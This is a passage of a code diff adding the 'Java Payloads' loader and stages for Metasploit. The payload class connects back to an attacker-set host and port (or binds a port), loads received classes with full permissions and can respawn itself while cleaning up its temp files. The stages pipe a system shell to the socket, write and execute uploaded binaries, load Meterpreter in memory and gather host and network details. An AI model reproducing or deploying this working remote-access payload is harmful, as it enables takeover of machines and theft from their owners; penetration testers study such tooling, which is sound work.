notifyAll();
}
}

View File

@ -0,0 +1,108 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.InputStream;
import java.io.PrintStream;
public class JShStreamForwarder extends Thread {
private final InputStream in;
private PrintStream out;
private boolean paused = false, finished = false;
private final JShSignalSender signalSender;
public JShStreamForwarder(InputStream in, PrintStream out, JShSignalSender signalSender) {
this.in = in;
this.out = out;
this.signalSender = signalSender;
start();
}
public synchronized boolean isFinished() {
return finished;
}
public synchronized void pauseForwarding(boolean paused) {
this.paused = paused;
this.notifyAll();
}
public void run() {
try {
try {
final byte[] buf = new byte[4096];
int length;
while ((length = in.read(buf)) != -1) {
synchronized (this) {
while (paused) {
wait();
}
if (out != null) {
out.write(buf, 0, length);
if (in.available() == 0) {
out.flush();
}
}
}
}
synchronized (this) {
finished = true;
if (!paused) {
signalSender.signal();
}
}
} finally {
in.close();
}
} catch (final Throwable ex) {
synchronized (this) {
while (paused) {
try {
wait();
} catch (final InterruptedException ex2) {
}
}
if (out != null) {
ex.printStackTrace(out);
out.flush();
}
}
}
}
public synchronized void stopForwarding() {
out = null;
}
}

View File

@ -0,0 +1,25 @@
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLClassLoader;
import com.metasploit.meterpreter.MemoryBufferURLConnection;
/**
* Meterpreter Java Payload Proxy
*/
public class Meterpreter implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
boolean noRedirectError = parameters[parameters.length-1].equals("NoRedirect");
int coreLen = in.readInt();
byte[] core = new byte[coreLen];
in.readFully(core);
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
new URLClassLoader(new URL[] { coreURL }, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[] { DataInputStream.class, OutputStream.class, boolean.class, boolean.class }).newInstance(new Object[] { in, out, Boolean.TRUE, new Boolean(!noRedirectError) });
in.close();
out.close();
}
}

View File

@ -0,0 +1,53 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
public class SendParameters implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
int paramCount = in.readUnsignedShort();
String[] params = new String[paramCount+2];
params[0] = parameters[0];
params[1] = "--";
for (int i = 2; i < params.length; i++) {
params[i] = in.readUTF();
}
Stage realStage = (Stage) Class.forName("javapayload.stage."+params[2]).newInstance();
realStage.start(in, out, params);
}
}

View File

@ -0,0 +1,56 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
public class Shell implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
final String[] cmdarray = new String[1];
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
cmdarray[0] = "cmd.exe";
} else {
cmdarray[0] = "/bin/sh";
}
final Process proc = Runtime.getRuntime().exec(cmdarray);
new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start();
new StreamForwarder(proc.getErrorStream(), out, out).start();
proc.waitFor();
in.close();
out.close();
}
}

View File

@ -0,0 +1,42 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
public interface Stage {
public abstract void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception;
}

View File

@ -0,0 +1,79 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
public class StreamForwarder extends Thread {
public static void forward(InputStream in, OutputStream out) throws IOException {
try {
final byte[] buf = new byte[4096];
int length;
while ((length = in.read(buf)) != -1) {
if (out != null) {
out.write(buf, 0, length);
if (in.available() == 0) {
out.flush();
}
}
}
} finally {
in.close();
out.close();
}
}
private final InputStream in;
private final OutputStream out;
private final OutputStream stackTraceOut;
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
this.in = in;
this.out = out;
this.stackTraceOut = stackTraceOut;
}
public void run() {
try {
forward(in, out);
} catch (final Throwable ex) {
ex.printStackTrace(new PrintStream(stackTraceOut));
}
}
}

View File

@ -0,0 +1,92 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.URL;
import java.util.Enumeration;
public class SystemInfo implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
PrintStream pout = new PrintStream(out, true);
pout.println("System properties:");
pout.println("~~~~~~~~~~~~~~~~~~");
for (final Enumeration e = System.getProperties().propertyNames(); e.hasMoreElements(); ) {
final String property = (String) e.nextElement();
pout.println(property + "=" + System.getProperty(property));
}
pout.println();
pout.println("Local address:");
pout.println("~~~~~~~~~~~~~~");
InetAddress addr = InetAddress.getLocalHost();
pout.println("Name: "+addr.getHostName());
pout.println("Canonical Name: "+addr.getCanonicalHostName());
pout.println("IP Address: "+addr.getHostAddress());
pout.println();
pout.println("Network interfaces:");
pout.println("~~~~~~~~~~~~~~~~~~~");
for(final Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) {
NetworkInterface iface = (NetworkInterface) e.nextElement();
pout.println(iface.getName());
pout.println(" Display Name: "+iface.getDisplayName());
for (final Enumeration e2 = iface.getInetAddresses(); e2.hasMoreElements(); ) {
InetAddress ifaddr = (InetAddress) e2.nextElement();
pout.println(" Address:");
pout.println(" Name: "+ifaddr.getHostName());
pout.println(" Canonical Name: "+ifaddr.getCanonicalHostName());
pout.println(" IP Address: "+ifaddr.getHostAddress());
}
}
pout.println();
pout.println("External IP Address:");
pout.println("~~~~~~~~~~~~~~~~~~~~");
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new URL("http://www.ippages.com/simple/").openStream()));
pout.println(br.readLine());
br.close();
} catch (Exception ex) {
ex.printStackTrace(pout);
}
pout.println();
pout.close();
}
}

View File

@ -0,0 +1,71 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
public class UpExec implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
final String tempfile = File.createTempFile("~upexec", null).getAbsolutePath();
final int length = in.readInt();
final byte[] data = new byte[length];
in.readFully(data);
final FileOutputStream fos = new FileOutputStream(tempfile);
fos.write(data);
fos.close();
for (int i = 0; i < parameters.length; i++) {
if (parameters[i].equals("--")) {
// separator found. The next parameter will be the module name, and
// all remaining parameters are for exec.
final String[] cmdarray = new String[parameters.length - i - 2];
System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length);
cmdarray[0] = tempfile;
final Process proc = Runtime.getRuntime().exec(cmdarray);
new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start();
new StreamForwarder(proc.getErrorStream(), out, out).start();
proc.waitFor();
in.close();
out.close();
break;
}
}
new File(tempfile).delete();
}
}

View File

@ -0,0 +1,308 @@
/*
* Java Payloads loader class for Metasploit.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package metasploit;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.Locale;
import java.util.Properties;
import java.util.Stack;
import java.util.StringTokenizer;
/**
* The main payload loader class.
*
* To invoke all the magic, call the {@link #main(String[])} method
* (Or use it as Main-Class in a standalone jar and double-click it).
*/
public class Payload extends ClassLoader {
public static void main(String[] ignored) throws Exception {
// Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat".
Properties props = new Properties();
Class clazz = Payload.class;
String clazzFile = clazz.getName().replace('.', '/')+".class";
InputStream propsStream = clazz.getResourceAsStream("/metasploit.dat");
if (propsStream != null) {
props.load(propsStream);
propsStream.close();
}
// check if we should respawn
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
if (spawn > 0) {
// decrease count so that eventually the process
// will stop spawning
props.setProperty("Spawn", String.valueOf(spawn - 1));
// write our class
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
// load ourselves via the class loader (works both on disk and from Jar)
InputStream in = clazz.getResourceAsStream("/"+clazzFile);
FileOutputStream fos = new FileOutputStream(classFile);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf,0,len);
}
fos.close();
fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[] {
getJreExecutable("java"),
"-classpath",
tempDir.getAbsolutePath(),
clazz.getName()
});
// the input streams might cause the child process to block if
// we do not read or close them
proc.getInputStream().close();
proc.getErrorStream().close();
// give the process plenty of time to load the class if needed
Thread.sleep(2000);
// clean up (we can even delete the .class file on Windows
// if the process is still running). Note that delete()
// will only delete empty directories, so we have to delete
// everything else first
File[] files = new File[] {
classFile, classFile.getParentFile(), propFile, tempDir
};
for (int i = 0; i < files.length; i++) {
for (int j = 0; j < 10; j++) {
if (files[i].delete())
break;
files[i].deleteOnExit();
Thread.sleep(100);
}
}
} else {
// check what stager to use (bind/reverse)
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", null);
InputStream in;
OutputStream out;
if (lPort <= 0) {
// debug code: just connect to stdin/stdout
// best used with embedded stages
in = System.in;
out = System.out;
} else {
Socket socket;
if (lHost != null) {
// reverse_tcp
socket = new Socket(lHost, lPort);
} else {
// bind_tcp
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close(); // no need to listen any longer
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
// build the stage parameters, if any
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];
for (int i = 0; i < stageParams.length; i++) {
stageParams[i] = stageParamTokenizer.nextToken();
}
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null),stageParams);
}
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {
final DataInputStream in = new DataInputStream(rawIn);
Class clazz;
final Permissions permissions = new Permissions();
permissions.add(new AllPermission());
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
if (embeddedStageName == null) {
int length = in.readInt();
do {
final byte[] classfile = new byte[length];
in.readFully(classfile);
resolveClass(clazz = defineClass(null, classfile, 0, length, pd));
length = in.readInt();
} while (length > 0);
} else {
clazz = Class.forName("javapayload.stage."+embeddedStageName);
}
final Object stage = clazz.newInstance();
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters });
} catch (final Throwable t) {
t.printStackTrace(new PrintStream(out));
}
}
///
/// The rest of the file is based on code from Apache Ant 1.8.1
///
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
private static final String PATH_SEP = System.getProperty("path.separator");
private static final boolean IS_AIX = "aix".equals(OS_NAME);
private static final boolean IS_DOS = PATH_SEP.equals(";");
private static final String JAVA_HOME = System.getProperty("java.home");
private static String getJreExecutable(String command) {
File jExecutable = null;
if (IS_AIX) {
// On IBM's JDK 1.2 the directory layout is different, 1.3 follows
// Sun's layout.
jExecutable = findInDir(JAVA_HOME + "/sh", command);
}
if (jExecutable == null) {
jExecutable = findInDir(JAVA_HOME + "/bin", command);
}
if (jExecutable != null) {
return jExecutable.getAbsolutePath();
} else {
// Unfortunately on Windows java.home doesn't always refer
// to the correct location, so we need to fall back to
// assuming java is somewhere on the PATH.
return addExtension(command);
}
}
private static String addExtension(String command) {
// This is the most common extension case - exe for windows and OS/2,
// nothing for *nix.
return command + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String dirName, String commandName) {
File dir = normalize(dirName);
File executable = null;
if (dir.exists()) {
executable = new File(dir, addExtension(commandName));
if (!executable.exists()) {
executable = null;
}
}
return executable;
}
private static File normalize(final String path) {
Stack s = new Stack();
String[] dissect = dissect(path);
s.push(dissect[0]);
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
while (tok.hasMoreTokens()) {
String thisToken = tok.nextToken();
if (".".equals(thisToken)) {
continue;
}
if ("..".equals(thisToken)) {
if (s.size() < 2) {
// Cannot resolve it, so skip it.
return new File(path);
}
s.pop();
} else { // plain component
s.push(thisToken);
}
}
StringBuffer sb = new StringBuffer();
for (int i = 0; i < s.size(); i++) {
if (i > 1) {
// not before the filesystem root and not after it, since root
// already contains one
sb.append(File.separatorChar);
}
sb.append(s.elementAt(i));
}
return new File(sb.toString());
}
private static String[] dissect(String path) {
char sep = File.separatorChar;
path = path.replace('/', sep).replace('\\', sep);
// make sure we are dealing with an absolute path
String root = null;
int colon = path.indexOf(':');
if (colon > 0 && IS_DOS) {
int next = colon + 1;
root = path.substring(0, next);
char[] ca = path.toCharArray();
root += sep;
//remove the initial separator; the root has it.
next = (ca[next] == sep) ? next + 1 : next;
StringBuffer sbPath = new StringBuffer();
// Eliminate consecutive slashes after the drive spec:
for (int i = next; i < ca.length; i++) {
if (ca[i] != sep || ca[i - 1] != sep) {
sbPath.append(ca[i]);
}
}
path = sbPath.toString();
} else if (path.length() > 1 && path.charAt(1) == sep) {
// UNC drive
int nextsep = path.indexOf(sep, 2);
nextsep = path.indexOf(sep, nextsep + 1);
root = (nextsep > 2) ? path.substring(0, nextsep + 1) : path;
path = path.substring(root.length());
} else {
root = File.separator;
path = path.substring(1);
}
return new String[] {root, path};
}
}